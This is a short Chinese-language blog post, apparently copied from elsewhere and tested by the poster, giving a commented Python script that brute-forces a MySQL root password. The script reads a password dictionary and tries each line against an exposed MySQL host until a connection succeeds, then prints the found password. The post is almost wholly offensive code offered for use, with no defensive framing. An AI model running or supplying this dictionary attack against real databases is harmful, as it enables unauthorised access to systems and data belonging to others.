python 編寫暴力破解mysql用戶名密碼

本文摘自別人的,本身運行調試了一下
#!/user/bin/env python
#-*- coding:utf-8 -*-

import pymysql#導入鏈接數據庫的模塊
import sys


class PoJie:
def __init__(self,path):
self.file =open(path)#打開密碼字典文件

def LianJieMySql(self,word):#鏈接數據庫的方法
try:
db =pymysql.connect("mysql暴露的host","root",word) #鏈接數據庫
#pymysql.connect()方法的第一個參數是ip地址,本機能夠用localhost代替
#第二個參數是帳戶名,本文章爲知道用戶名狀況破解密碼
#第三個是密碼,
db.close()#關閉數據庫
return True#鏈接成功返回True
except:
return False

def PoJieChangShi(self):#讀取密碼字典的方法
while True:#循環讀取
mystr=self.file.readline()#讀取密碼字典的一行
if not mystr:#若是讀到文件最後沒有數據了,就跳出循環
break
if self.LianJieMySql(mystr):#把讀到的一行密碼傳到鏈接數據庫方法裏面
#若是返回了True說明破解成功
print("true password", mystr) # 打印正確密碼
break#結束循環
else :
print("wrong password",mystr)

def __del__(self):#不管如何最終要執行的方法
self.file.close()#關閉密碼字典文件
pass

path = r"c:\\redis_userpasswd.txt" # 傳入密碼字典絕對文件路徑
start = PoJie(path) # 實例化對象
start.PoJieChangShi() # 對象執行方法
# if __name__ == '__main__':
# path=r"c:\\redis_userpasswd.txt"#傳入密碼字典絕對文件路徑
# start =PoJie(path)#實例化對象
# start.PoJieChangShi()#對象執行方法
相關文章
相關標籤/搜索